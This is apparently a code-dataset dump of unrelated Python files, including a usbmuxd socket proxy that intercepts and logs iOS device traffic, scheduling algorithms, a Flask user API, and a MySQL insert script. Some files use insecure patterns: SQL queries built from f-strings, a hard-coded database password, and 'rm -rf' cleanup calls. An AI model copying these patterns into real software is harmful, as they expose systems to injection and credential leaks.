receive_first:\n remote_buffer = receive_from(remote_socket)\n client_socket.send(remote_buffer)\n while True:\n # 接受来自remote_client的信息并存储在local_buffer\n # 将local_buffer的信息再发送到remote_server\n local_buffer = receive_from(client_socket)\n if len(local_buffer):\n # print(\"客户端发送数据:\", local_buffer)\n check_buf(local_buffer,'发送 Data:')\n local_buffer = request_handler(local_buffer)\n remote_socket.send(local_buffer)\n # 接受来自remote_server的信息并存储在remote_buffer\n # 将remote_buffer的信息再发送到remote_client\n remote_buffer = receive_from(remote_socket)\n if len(remote_buffer):\n # print(\"客户端接收数据:\", remote_buffer)\n check_buf(remote_buffer,\"接收 Data:\")\n remote_buffer = request_handler(remote_buffer)\n while len(remote_buffer) > 0: # 包体过大无法发送,进行分包发送\n client_socket.send(remote_buffer[:4096])\n remote_buffer = remote_buffer[4096:]\n\n\ndef main():\n def sigintHandler(signum, frame):\n os.system('rm -rf /var/run/usbmuxd')\n exit()\n\n signal.signal(signal.SIGINT, sigintHandler)\n signal.signal(signal.SIGHUP, sigintHandler)\n signal.signal(signal.SIGTERM, sigintHandler)\n newSocket = '/var/run/usbmuxx'\n oldSocket = '/var/run/usbmuxd'\n server_loop(oldSocket, newSocket, True)\n os.system('rm -rf /var/run/usbmuxd')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tools/unix_socket.py","file_name":"unix_socket.py","file_ext":"py","file_size_in_byte":6033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"169396734","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 26 20:49:22 2019\n\n@author: Wojtek\n\"\"\"\nfrom Process import *\nfrom copy import deepcopy\n\ndef Schrage(N):\n Cmax=0\n sig=[]\n Ng=[]\n Nn=deepcopy(N)\n t=min(Nn,key=lambda x:x.r).r\n while Ng != [] or Nn != []:\n while Nn != [] and min(Nn,key=lambda x:x.r).r <= t:\n j = min(Nn,key=lambda x:x.r)\n Ng.append(j)\n Nn.remove(j)\n if Ng == []:\n t = min(Nn,key=lambda x:x.r).r\n else:\n j = max(Ng,key=lambda x:x.q)\n Ng.remove(j)\n sig.append(j)\n t=t+j.p\n Cmax = max(t+j.q,Cmax)\n return sig,Cmax\n\ndef SchragePmtn(N):\n sig=[]\n Ng=[]\n Nn=deepcopy(N)\n Cmax = 0\n t=0\n l=Nn[0] # zerowe zadanie, a nie zero\n# l.q=1000000000\n while Ng != [] or Nn != []:\n while Nn != [] and min(Nn,key=lambda x:x.r).r <= t:\n j = min(Nn,key=lambda x:x.r)\n# print('Moving',j.uid)\n Ng.append(j)\n Nn.remove(j)\n if j.q > l.q: #przerywam ostatni l, zaczynam j\n# l.p = t-j.r\n# t = j.r\n \n nl = deepcopy(l)\n nl.p=t-j.r\n# print(l.uid,'vs',j.uid,'-',t-j.r,l.p,j.r)\n t=j.r\n if nl.p > 0:\n l.q=0\n nl.r=0\n l.p=l.p-nl.p # zeby ladnie wygladalo\n Ng.append(nl) # wtf bez tego dziala dla 100 i 200 \n \n \n if Ng == []:\n t = min(Nn,key=lambda x:x.r).r\n else:\n j = max(Ng,key=lambda x:x.q)\n Ng.remove(j)\n l=j\n j.start=t\n sig.append(j)\n t=t+j.p\n Cmax = max(Cmax,t+j.q)\n return sig,Cmax\n\n#def Calier(N):\n# U = Schrage(N)\n# UB = 1000000000\n# LB = 0\n# if U < UB:\n# UB = get_cost(U)\n# minpi = U\n\n\nif __name__=='__main__': \n \n from random import random\n # dane prof Smutnickiego\n #r=[10,13,11,20,30,0, 30];\n #p=[5, 6, 7, 4, 3, 6, 2];\n #q=[7, 26,24,21,8, 17,0];\n #procs = []\n #for i in range(len(r)):\n # procs.append(process(i+1,r[i],p[i],q[i]))\n #\n #order,order_cost = Schrage(procs)\n #pmtno,pmtnc = SchragePmtn(procs)\n #print('Schrage ',order_cost)\n #print('Schrage Pmtn',pmtnc)\n #del p;del r;del q;del i;del procs;\n \n #dane przykladowe\n datasets = [[]]\n for filename in [\n 'in50.txt','in100.txt','in200.txt',\n '10000.txt'\n ]:\n procs = []\n print('\\nProcessing',filename)\n with open('dane_testowe/'+filename,'r') as file:\n lines = file.readlines()\n \n uid = 0\n for line in lines[1:]:\n line=line.strip().split()\n procs.append(process(uid,int(line[0]),int(line[1]),int(line[2])))\n uid = uid + 1\n if uid>1000:\n break\n datasets.append(procs)\n datasets[0]=[*datasets[0],*procs]\n# datasets.append([*datasets[3],*datasets[2],*datasets[1]])\n# datasets.append([*datasets[2],*datasets[1],*datasets[3]])\n# datasets.append([*datasets[1],*datasets[2],*datasets[3]])\n# datasets.append([*datasets[3],*datasets[1],*datasets[2]])\n# datasets.append([*datasets[1],*datasets[3],*datasets[2]])\n# datasets.append([*datasets[2],*datasets[3],*datasets[1]])\n \n# N=200\n# max_t=50\n# for i in range(N):\n# procs.append(process(i,\n# int(random()*max_t)+1,\n# int(random()*max_t)+1,\n# int(random()*max_t)+1))\n for procs in datasets:\n proc_dict = {proc.uid:proc for proc in procs}\n order,order_cost = Schrage(procs)\n pmtno,pmtnc = SchragePmtn(procs)\n \n print('\\nlen of data ',len(procs))\n print('Schrage ',order_cost)\n print('Schrage Pmtn',pmtnc)\n print('diff',order_cost-pmtnc,get_cost(order)-get_cost(pmtno))\n print(order_cost==get_cost(order),pmtnc==get_cost(pmtno))\n \n ","sub_path":"zad34/Schrage.py","file_name":"Schrage.py","file_ext":"py","file_size_in_byte":4149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"461116002","text":"default = \"/Users/NanoomLee/Documents/Master@StonyBrook/ISW_21cm_Code/ISW_21cm\"\npath_CLASS_syn = default + \"/class_syn\"\npath_CLASS_new = default + \"/class_new\"\npath_HYREC = default + \"/HyRec\"\npath_result = default + \"/result\"\npath_result_Yp_BBN = default + \"/result_Yp_BBN\"\npath_result_Yp = default + \"/result_Yp\"\npath_data = default + \"/data\"\npath_params_Yp_BBN = default + \"/params_Yp_BBN\"\npath_params_Yp = default + \"/params_Yp\"\nresult_Yp_BBN = default + \"/result_Yp_BBN\"\nresult_Yp = default + \"/result_Yp\"\n\n","sub_path":"source/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"31932146","text":"vowels = \"aeiouAEIOU\"\r\nclass Solution:\r\n def halvesAreAlike(self, inputStr:str) -> bool:\r\n length = len(inputStr)\r\n if length < 2 or length > 1000:\r\n print('string too short or too long')\r\n return False\r\n \r\n if length % 2 != 0:\r\n print('string length must be even')\r\n return False\r\n vowCnta = self.numVows(inputStr, 0, int(length/2)-1)\r\n vowCntb = self.numVows(inputStr, int(length/2), length-1)\r\n \r\n if vowCnta == vowCntb:\r\n return True\r\n else:\r\n return False\r\n \r\n def numVows(self, string:str, startIndex:int, endIndex:int) -> int:\r\n cnt = startIndex\r\n string = string.lower()\r\n vowCnt = 0;\r\n while cnt <= endIndex:\r\n if string[cnt] =='a' or string[cnt]=='e' or string[cnt]=='i' or string[cnt]=='o' or string[cnt]=='u':\r\n vowCnt = vowCnt + 1\r\n cnt = cnt+1\r\n return vowCnt;\r\n \r\n \r\n#Another solution, easy and nice way\r\n def halvesAreAlike1(self, S: str) -> bool:\r\n mid, ans = len(S) // 2, 0\r\n for i in range(mid):\r\n if S[i] in vowels: ans += 1\r\n if S[mid+i] in vowels: ans -=1\r\n return ans == 0\r\n \r\n\r\nsome = Solution()\r\nprint(some.halvesAreAlike1('book12'))\r\n","sub_path":"PythonLearning/Challenges-Python/Strings-I.py","file_name":"Strings-I.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"327697242","text":"import numpy as np\nN = int(input())\nx = [0]*N\ny = [0]*N\nfor i in range(N):\n x[i], y[i] = map(int, input().split())\n\n\nd = [0]*N*(N-1)\nk = 0\nfor i in range(N):\n for j in range(N):\n if i != j:\n a = np.array([x[i], y[i]])\n b = np.array([x[j], y[j]])\n u = b-a\n d[k] = np.linalg.norm(u)\n k += 1\n\nans = sum(d)/N\nprint(ans)\n","sub_path":"ABC145C.py","file_name":"ABC145C.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"74468855","text":"import os\nimport shutil\nimport math\nimport matplotlib.pyplot as plt\n\ndef get_length(constants, var):\n\tfor c, val in constants.items():\n\t\tfull_name = 'n_%s' % var\n\t\tif full_name.startswith(c):\n\t\t\treturn val\n\treturn 1\n\ndef plot(tvec, names, dynamics, destination, const_vals, title='', multiply_by_len=False, col_num=5):\n\tnum = len(names)\n\tnum_cols = min(num, col_num)\n\tnum_rows = int(math.ceil(num / float(num_cols)))\n\tplt.figure(figsize=(2.5*num_cols, 2.5*num_rows))\n\tfor idx, _id in names.items():\n\t\tdyn = dynamics[_id]\n\t\tif multiply_by_len:\n\t\t\t_len = float(get_length(const_vals, _id))\n\t\t\tdyn = [d * _len for d in dyn]\n\t\tplt.subplot(num_rows, num_cols, idx+1)\n\t\tplt.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))\n\t\tplt.plot(tvec, dyn, '-')\n\t\tplt.title(_id)\n\tplt.tight_layout()\n\tplt.suptitle(title)\n\t# plt.show()\n\tplt.savefig(destination, type='pdf')\n\ndef copy_model(_from, _to, delete=True):\n\tif delete:\n\t\tfor _file in os.listdir(_to):\n\t\t\tif os.path.isdir('%s/%s' % (_to, _file)):\n\t\t\t\tshutil.rmtree('%s/%s' % (_to, _file))\n\t\t\telif _file == 'bocop':\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tos.remove('%s/%s' % (_to, _file))\n\tfor _file in os.listdir(_from):\n\t\tif os.path.isfile('%s/%s' % (_from, _file)):\n\t\t\tshutil.copyfile('%s/%s' % (_from, _file), '%s/%s' % (_to, _file))\n\n","sub_path":"py/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"324942149","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Mar 15 17:49:31 2018\r\n\r\n@author: chenlin\r\n\"\"\"\r\n\r\nimport cv2\r\nimport numpy as np\r\n\r\nimg = cv2.imread(\"coins.png\")\r\nimg = cv2.medianBlur(img,5)\r\ncimg = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\ncv2.imshow('original',cimg)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n\r\ncircles = cv2.HoughCircles(cimg,method = cv2.HOUGH_GRADIENT,dp = 1,minDist = 20,param1 = 80,param2=60,minRadius = 20 )\r\ncircles = np.uint16(np.around(circles))\r\n\r\n\r\nfor i in circles[0,:]:\r\n #draw the outer circle\r\n cv2.circle(img,(i[0],i[1]),i[2],(0,255,0),2)\r\n #draw the center of the circle\r\n cv2.circle(img,(i[0],i[1]),2,(0,0,255),3)\r\n\r\ncv2.imwrite('final_part2.jpg',img) \r\ncv2.imshow('detected circles',img)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","sub_path":"lab8/lab8_part2.py","file_name":"lab8_part2.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"146272847","text":"from flask import request\nfrom flask_restful import Resource\nfrom functions import *\nfrom mongoengine import *\nfrom schema.user import *\nfrom PIL import Image\nfrom model import User, Request, Client, Project\nimport datetime\nimport os\nimport uuid\nimport config\nfrom routes.auth import auth\n\n# Connect to mongodb\nconnect(\"saggezza_db\", host=config.DB_URL, port=27017)\n\nUPLOAD_FOLDER = \"./static/profile/\"\nALLOWED_EXTENSIONS = set([\"jpg\"])\n\n\nclass UserListAPI(Resource):\n # |- /user\n # |- POST: Create a new user\n # \\- GET: Return all users\n\n @auth.login_required\n def post(self):\n caller = get_bearer(request)\n if caller[\"role\"] != \"admin\":\n return res(\"⛔️ Must be an admin to create a user\", \"error\"), 401\n\n req = parse(request)\n errors = UserListSchema().validate(req)\n if errors:\n return res(\"Errors in request\", \"alert\", errors=errors), 400\n\n user = User(\n first_name=req[\"first_name\"].capitalize(),\n last_name=req[\"last_name\"].capitalize(),\n email=req[\"email\"].lower(),\n role=req[\"role\"],\n )\n user.save()\n return res(\"User created\", \"success\", user=convert_query(user))\n\n @auth.login_required\n def get(self):\n caller = get_bearer(request)\n if caller[\"role\"] == \"admin\":\n users = User.objects().all()\n return res(\n \"All users returned\", \"success\", users=convert_query(users, list=True)\n )\n\n elif caller[\"role\"] == \"manager\":\n employees = caller[\"employees\"]\n return res(\n \"Your employees returned\",\n \"success\",\n employees=convert_query(employees, list=True),\n )\n\n return res(\"⛔️Not Authorized\", \"error\"), 401\n\n\nclass UserAPI(Resource):\n # |- /user/\n # |- PUT: Edit user\n # |- DELETE: Delete user\n # \\- GET: Return user\n\n @auth.login_required\n def put(self, id):\n caller = get_bearer(request)\n if caller[\"id\"] == id:\n pass\n elif caller[\"role\"] != \"admin\":\n return res(\"⛔️ Must be an admin to edit another user\", \"error\"), 400\n\n req = parse(request)\n errors = UserSchema().validate(req)\n if errors:\n return res(\"Errors in request\", \"alert\", errors=errors), 400\n\n try:\n user = User.objects(id=id)[0]\n except:\n return res(\"User doesn't exist\", \"error\"), 400\n\n for i in req:\n if i == \"role\" and caller[\"role\"] != \"admin\":\n return res(\"⛔️ Cannot change your own role\", \"error\"), 400\n\n if i == \"role\":\n # If changing to an admin, remove fields they shouldn't have\n if req[i] in [\n \"admin\",\n \"pending\",\n ]: # If we make them admin or pending remove all their fields\n user[\"employees\"] = []\n user[\"request_list\"] = []\n user[\"client\"] = None\n user[\"project\"] = None\n if req[i] == \"employee\":\n user[\"employees\"] = []\n user[\"client\"] = None\n user[\"project\"] = None\n if req[i] == \"manager\":\n user[\"request_list\"]\n\n if i == \"project\":\n if user[\"role\"] == \"manager\":\n try:\n project = Project.objects().get(id=req[i])\n except:\n return res(\"Invalid project ID\", \"error\")\n user[\"project\"] = project\n else:\n return res(user[\"role\"] + \" cant have a project\", \"error\"), 400\n elif i == \"client\":\n if user[\"role\"] == \"manager\":\n try:\n client = Client.objects().get(id=req[i])\n except:\n return res(\"Invalid project ID\", \"error\")\n user[\"client\"] = client\n else:\n return res(user[\"role\"] + \" cant have a client\", \"error\"), 400\n else:\n user[i] = req[i]\n\n user.save()\n\n return res(\"User modified\", \"success\", user=convert_query(user))\n\n @auth.login_required\n def delete(self, id):\n\n caller = get_bearer(request)\n if caller[\"role\"] != \"admin\":\n return res(\"⛔️ Must be an admin to delete another user\", \"error\"), 400\n\n try:\n user = User.objects(id=id)[0]\n except:\n return res(\"User doesn't exist\", \"error\"), 400\n\n user.delete()\n return res(\"User deleted 💀\", \"success\")\n\n @auth.login_required\n def get(self, id):\n\n caller = get_bearer(request)\n if caller[\"role\"] != \"admin\":\n return res(\"⛔️ Must be an admin to delete another user\", \"error\"), 400\n\n try:\n user = User.objects(id=id)[0]\n return res(\"Retrieved Successfully\", \"success\", user=convert_query(user))\n except:\n return res(\"User doesn't exist\", \"error\"), 400\n\n\nclass UserProfileAPI(Resource):\n # |- /user//profile\n # |- POST: Upload new profile picture\n # \\- DELETE: Delete profile picture\n\n def post(self, id):\n try:\n user = User.objects(id=id)[0]\n except:\n return res(\"User doesn't exist\", \"error\"), 400\n if \"file\" in request.files:\n file = request.files[\"file\"]\n size = 256, 256\n im = Image.open(file)\n im.thumbnail(size)\n\n if not os.path.exists(UPLOAD_FOLDER):\n os.makedirs(UPLOAD_FOLDER)\n\n name = uuid.uuid4().hex\n\n im.save(UPLOAD_FOLDER + name + \".jpg\")\n user[\"profile_picture\"] = \"/profile/\" + name + \".jpg\"\n user.save()\n return res(\"Profile image added successfully\", \"success\")\n else:\n return res(\"No file in the request called file\", \"error\"), 400\n\n def delete(self, id):\n try:\n user = User.objects(id=id)[0]\n if os.path.exists(\"./static\" + user[\"profile_picture\"]):\n os.remove(os.path.join(\"./static\" + user[\"profile_picture\"]))\n user[\"profile_picture\"] = \"/default-profile.jpg\"\n user.save()\n return res(\"Profile image deleted\", \"success\")\n else:\n return res(\"File does not exist\", \"error\"), 400\n except:\n return res(\"User doesn't exist\", \"error\"), 400\n\n\nclass UserEmployeeListAPI(Resource):\n # |- /user//employee NOTE: User must be a Manager\n # |- POST: Add new employee\n # |- GET: Get all employes of a manager NOTE: User must be an admin\n\n @auth.login_required\n def post(self, id):\n caller = get_bearer(request)\n if caller[\"role\"] != \"admin\":\n return (\n res(\"⛔️ Must be an admin to add an employee to a manager\", \"error\"),\n 400,\n )\n\n req = parse(request)\n errors = UserEmployeeListSchema().validate(req)\n if errors:\n return res(\"Errors in request\", \"alert\", errors=errors), 400\n try:\n user = User.objects(id=id)[0]\n except:\n return res(\"User doesn't exist\", \"error\"), 400\n\n if user[\"role\"] == \"manager\":\n try:\n employee = User.objects(id=req[\"employee\"])[0]\n user[\"employees\"].append(employee)\n user.save()\n return res(\"Employee Added\", \"success\", user=convert_query(user))\n except:\n return res(\"Employee's uuid is not valid\", \"error\"), 400\n else:\n return res(\"User is not a manager\", \"error\"), 400\n\n @auth.login_required\n def get(self):\n caller = get_caller(request)\n if caller[\"role\"] != \"admin\":\n return (\n res(\n \"⛔️ Must be an admin to see a list of manager's employees\", \"error\"\n ),\n 400,\n )\n\n employees = user[\"employees\"]\n return res(\n \"Managers employees returned\",\n \"success\",\n employees=convert_query(employees, list=True),\n )\n\n\nclass UserEmployeeAPI(Resource):\n # |- /user//employee/ NOTE: User must be a Manager\n # |- DELETE: Delete employee\n\n @auth.login_required\n def delete(self, id, eid):\n caller = get_bearer(request)\n if caller[\"role\"] != \"admin\":\n return (\n res(\"⛔️ Must be an admin to add an employee to a manager\", \"error\"),\n 400,\n )\n\n try:\n user = User.objects(id=id)[0]\n except:\n return res(\"User doesn't exist\", \"error\"), 400\n\n try:\n employee = User.objects().get(id=eid)\n except:\n return res(\"Employee doesn't exist\", \"error\"), 400\n\n if user[\"role\"] == \"manager\":\n try:\n user[\"employees\"].remove(employee)\n user.save()\n return res(\"Employee deleted\", \"success\", user=convert_query(user))\n except:\n return res(\"Employee not found\", \"error\"), 400\n","sub_path":"server/routes/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":9345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"53190970","text":"import logging\nimport re\nfrom datetime import datetime\nfrom typing import List, Optional\n\nfrom baracoda.db import db\nfrom baracoda.exceptions import InvalidPrefixError\nfrom baracoda.formats import HeronFormatter\nfrom baracoda.orm.barcode import Barcode\nfrom baracoda.orm.barcodes_group import BarcodesGroup\nfrom baracoda.helpers import get_prefix_item\n\nfrom flask import current_app\n\nlogger = logging.getLogger(__name__)\n\nclass BarcodeOperations:\n def __init__(self, prefix: str):\n logger.debug(\"Instantiate....\")\n \n self.prefix = prefix\n\n self.__check_prefix()\n\n self.__set_prefix_item()\n\n # if the prefix item does not exist the prefix is not valid\n if not self.prefix_item:\n raise InvalidPrefixError()\n \n # saves pulling it out of object every time\n self.sequence_name = self.prefix_item[\"sequence_name\"]\n\n self.formatter = HeronFormatter(prefix=self.prefix, convert=self.prefix_item[\"convert\"])\n\n def create_barcode_group(self, count) -> BarcodesGroup:\n \"\"\"Creates a new barcode group and the associated barcodes.\n\n Arguments:\n count {int} -- number of barcodes to create in the group\n\n Returns:\n BarcodeGroup -- the barcode group created\n \"\"\"\n try:\n next_values = self.__get_next_values(self.sequence_name, count)\n\n barcodes_group = self.__build_barcodes_group()\n db.session.add(barcodes_group)\n\n barcodes = [\n self.__build_barcode(self.prefix, next_value, barcodes_group=barcodes_group)\n for next_value in next_values\n ]\n db.session.add_all(barcodes)\n\n db.session.commit()\n\n return barcodes_group\n except Exception as e:\n db.session.rollback()\n raise e\n\n def create_barcode(self) -> Barcode:\n \"\"\"Generate and store a barcode using the Heron formatter.\n\n Returns:\n str -- the generated barcode in the Heron format\n \"\"\"\n try:\n next_value = self.__get_next_value(self.sequence_name)\n barcode = self.__build_barcode(self.prefix, next_value, barcodes_group=None)\n\n db.session.add(barcode)\n\n db.session.commit()\n\n return barcode\n except Exception as e:\n db.session.rollback()\n raise e\n\n def get_last_barcode(self, prefix: str) -> Optional[Barcode]:\n \"\"\"Get the last barcode generated for the specified sequence.\n\n Arguments:\n prefix {str} -- prefix to use query for the last barcode\n\n Returns:\n Barcode -- last barcode generated for prefix or None\n \"\"\"\n results = (\n db.session.query(Barcode, Barcode.barcode)\n .filter_by(prefix=self.prefix)\n .order_by(Barcode.id.desc())\n .first()\n )\n\n if results is None:\n return results\n\n return results[0]\n\n def __check_prefix(self) -> None:\n \"\"\"Checks the provided prefix.\n\n Raises:\n InvalidPrefixError: the prefix does not pass the regex test\n \"\"\"\n if not self.__validate_prefix():\n raise InvalidPrefixError()\n\n def __validate_prefix(self) -> bool:\n \"\"\"Validate the prefix used for the Heron barcodes. Currently accepting uppercase letters\n and numbers between 1 and 10 characters long.\n\n Returns:\n bool -- whether the prefix passed validation\n \"\"\"\n if type(self.prefix) != str:\n return False\n\n pattern = re.compile(r\"^[A-Z0-9]{1,10}$\")\n\n return bool(pattern.match(self.prefix))\n\n def __build_barcode(\n self, prefix: str, next_value: int, barcodes_group: Optional[BarcodesGroup]\n ) -> Barcode:\n barcode = self.formatter.barcode(next_value)\n return Barcode(\n prefix=prefix,\n barcode=barcode,\n created_at=datetime.now(),\n barcodes_group=barcodes_group,\n )\n\n def __build_barcodes_group(self) -> BarcodesGroup:\n return BarcodesGroup(created_at=datetime.now())\n\n def __get_next_value(self, sequence_name: str) -> int:\n \"\"\"Get the next value from the sequence.\n\n Arguments:\n sequence_name {str} -- name of the sequence to query\n\n Returns:\n str -- next value in sequence\n \"\"\"\n return int(db.session.execute(f\"SELECT nextval('{sequence_name.lower()}');\").fetchone()[0])\n\n def __get_next_values(self, sequence_name: str, count: int) -> List[int]:\n \"\"\"Get the next count values from the sequence.\n\n Arguments:\n sequence_name {str} -- name of the sequence to query\n count {int} -- number of values from the sequence to generate\n\n Returns:\n str -- next value in sequence\n \"\"\"\n return [\n int(val[0])\n for val in db.session.execute(\n f\"SELECT nextval('{sequence_name.lower()}') FROM generate_series(1, {count}) l;\"\n ).fetchall()\n ]\n\n def __set_prefix_item(self):\n \"\"\"Get the prefix details.\n\n Returns:\n prefix item or None if prefix does not exist\n \"\"\"\n self.prefix_item = get_prefix_item(self.prefix)\n","sub_path":"baracoda/operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":5333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"432101743","text":"#Function1 Preparation (Sub Program1)\ndef add(a,b):\n c=a+b\n print(c)\n#Function2 Preparation (Sub Program2)\ndef sub(a,b):\n c=a-b\n print(c)\n# Function3 Preparation (Sub Program3)\ndef mul(a,b):\n c=a*b\n print(c)\n#Function1 usage\nadd(10,20)\nadd(100,200)\nadd(1000,2000)\n#Function2 usage\nsub(10,2)\nsub(100,20)\n#Function3 usage\nmul(10,20)\n\n#1.No code duplication (Have code reusability)\n#2.Less Space & Time complexicity\n#3.Have code readability\n#4.Extensibility is becomes easy\n#5.Modularity(Dividing main program into sub program) is achieving\n\n\n\n\n","sub_path":"Python_9to10_June21Apps/project1/functionapps/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"11482702","text":"import os\nimport random as rn\nimport re\n\nimport numba\nimport numpy as np\n\n\ndef log_transform(arr, inverse=False, inplace=True):\n \"\"\"\n Perform a logarithmic transformation or an inverse logarithmic transformation.\n\n new_array[i] = log10(arr[i] + 1), arr[i] >= 0\n new_array[i] = -log10(abs(arr[i] - 1)), arr[i] < 0\n\n Parameters\n ----------\n arr : numpy.ndarray\n An array which you want to perform logarithmic transformation or inverse logarithmic transformation.\n inverse : bool\n Whether to perform an inverse transformation.\n inplace : bool\n Whether to use inplace mode.\n\n Returns\n -------\n new_arr : numpy.ndarray, optional\n If `inplace` is False, then a transformed array is returned.\n\n References\n ----------\n https://docs.scipy.org/doc/numpy/reference/generated/numpy.where.html\n https://stackoverflow.com/questions/21610198/runtimewarning-divide-by-zero-encountered-in-log\n \"\"\"\n if inplace:\n # method 1: use boolean mask\n if inverse:\n mask = (arr >= 0)\n arr[mask] = np.power(10, arr[mask]) - 1\n arr[~mask] = -np.power(10, -arr[~mask]) + 1\n else:\n mask = (arr >= 0)\n arr[mask] = np.log10(arr[mask] + 1)\n arr[~mask] = -np.log10(np.abs(arr[~mask] - 1))\n\n # method 2: use index\n # ge0 = np.where(arr >= 0) # greater equal 0\n # lt0 = np.where(arr < 0) # less than 0\n # ge0 = np.asarray(arr >= 0).nonzero()\n # lt0 = np.asarray(arr < 0).nonzero()\n # arr[ge0] = np.log10(arr[ge0] + 1)\n # arr[lt0] = -np.log10(np.abs(arr[lt0] - 1))\n\n # method 3: use numpy.where(condition[, x, y])\n # An array with elements from x where condition is True, and elements from y elsewhere.\n # Note: numpy.log10(prob) is being evaluated before the numpy.where is being evaluated.\n # arr = np.where(arr >= 0, np.log10(arr + 1), -np.log10(np.abs(arr - 1)))\n else:\n new_arr = arr.copy()\n if inverse:\n mask = (new_arr >= 0)\n new_arr[mask] = np.power(10, new_arr[mask]) - 1\n new_arr[~mask] = -np.power(10, -new_arr[~mask]) + 1\n else:\n mask = (new_arr >= 0)\n new_arr[mask] = np.log10(new_arr[mask] + 1)\n new_arr[~mask] = -np.log10(np.abs(new_arr[~mask] - 1))\n return new_arr\n\n\n@numba.njit()\ndef add_noise(x, ratio=0.1):\n \"\"\"\n Add noise to each element of the array by a certain percentage.\n\n In order to handle large arrays under memory constraints, this function uses in-place mode.\n\n Parameters\n ----------\n x : numpy.ndarray\n Array that you wanted to add noise.\n ratio : float, default 0.05\n Noise added to element is proportional to this value.\n\n Returns\n -------\n None\n\n References\n ----------\n https://stackoverflow.com/questions/44257931/fastest-way-to-add-noise-to-a-numpy-array\n \"\"\"\n x = x.reshape(-1) # flat view\n for i in range(len(x)):\n x[i] += x[i] * rn.uniform(-1, 1) * ratio\n\n\n# TODO: When deprecating npz support, we should extract the import command\ndef make_processed_dataset(config_file):\n \"\"\"\n Preprocess raw dataset and save it to processed directory.\n\n Parameters\n ----------\n config_file : str, pathlib.Path or dict\n The path to the configured yaml file or the dictionary for configuration.\n\n Returns\n -------\n None\n \"\"\"\n from .utils.io_utils import read_config_file, read_pkl, write_pkl\n\n config = read_config_file(config_file)\n preprocess = config['preprocess']\n do_preprocess = any(value['perform'] for action, value in preprocess.items())\n\n if do_preprocess:\n raw_data_dir = config['raw_data_dir']\n processed_data_dir = config['processed_data_dir']\n pattern = re.compile(raw_data_dir)\n pattern_name = r'raw'\n replace_name = r'processed'\n\n for root_dir, sub_dirs, files in os.walk(raw_data_dir):\n for filename in files:\n if filename.endswith('pkl'):\n pkl_name = os.path.join(root_dir, filename)\n sub_dir_in_processed = re.sub(pattern, processed_data_dir, root_dir)\n new_pkl_name = os.path.join(sub_dir_in_processed, re.sub(pattern_name, replace_name, filename))\n data = read_pkl(pkl_name)\n\n # preprocess\n for k, v in preprocess.items():\n if k == 'add_noise' and v.get('perform'):\n add_noise(data['inputs'], **v.get('kwargs'))\n elif k == 'log_transform' and v.get('perform'):\n log_transform(data['inputs'], **v.get('kwargs'))\n\n # save pickle in processed dir\n os.makedirs(sub_dir_in_processed, exist_ok=True)\n write_pkl(data, new_pkl_name)\n","sub_path":"erinn/python/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":4936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"252306007","text":"#!/usr/bin/python\n# encoding: utf-8\nimport pymysql.cursors\n\nconnection = pymysql.connect(\n host='localhost',\n user='root',\n passwd='321',\n db='db',\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor)\n\nshoes = open('shoes', 'r')\nshoes_size = open('shoes_size', 'r')\nstore = open('store', 'r')\n\n#SHOES\nfor lines in shoes.readlines():\n item = []\n for attr in lines.split():\n if attr == '男':\t\t#male\n attr = 1\n elif attr == '女': \t#female\n attr = 0\n item.append(attr)\n connection.cursor().execute(\n 'INSERT INTO SHOES(SHOES_NAME, PRICE, MARK, SEX) VALUES (%s, %s, %s, %s)', \n (item[0], item[1], item[2], item[3]))\n connection.commit()\n\n#STORE\nfor lines in store.readlines():\n item = []\n for attr in lines.split():\n item.append(attr)\n connection.cursor().execute(\n 'INSERT INTO STORE(STORE_ID, SHOES_NAME, ADDRESS) VALUES (%s, %s, %s)',\n (item[0], item[1], item[2]))\n connection.commit()\n\n#SHOES_SIZE\nfor lines in shoes_size.readlines():\n item = []\n for attr in lines.split():\n item.append(attr)\n connection.cursor().execute(\n 'INSERT INTO SHOES_SIZE(SIZE, SHOES_NAME, QUALITY, STORE_ID) VALUES (%s, %s, %s, %s)',\n (item[0], item[1], item[2], item[3]))\n connection.commit()\n\n","sub_path":"static/insertData.py","file_name":"insertData.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"527286129","text":"import logging\nimport uuid\nimport os\n\nfrom .. import entities, repositories, exceptions, miscellaneous, services\n\nlogger = logging.getLogger(name=__name__)\n\n\nclass Snapshots:\n \"\"\"\n Snapshots Repository\n 